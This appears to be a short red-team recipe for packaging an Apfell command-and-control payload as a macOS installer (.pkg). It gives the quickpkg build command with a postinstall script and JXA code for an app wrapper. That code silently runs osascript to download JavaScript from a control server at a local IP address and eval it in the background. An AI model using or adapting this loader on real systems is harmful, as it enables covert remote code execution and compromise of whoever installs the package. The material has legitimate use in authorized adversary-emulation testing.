Making an Installer package payload with Apfell
Testing Environment:
Ubuntu 18.04.1 running Apfell v1.4
MacOS 10.15.3
Using this script to make pkg.
Run to build pkg:
python quickpkg --install-location /tmp --postinstall ./Scripts/postinstall.sh apfelljxa.app
Create apfelljxa.app with the following Javascript:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("osascript -l JavaScript -e \"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('http://192.168.0.108:80/api/v1.4/files/download/8e3e832d-ffc1-416a-8d77-f578759e0c69')), $.NSUTF8StringEncoding)));\" &>/dev/null &");
Notes:
- Exclude Example folder when building the .pkg
- This can also be done without an application in the postinstall script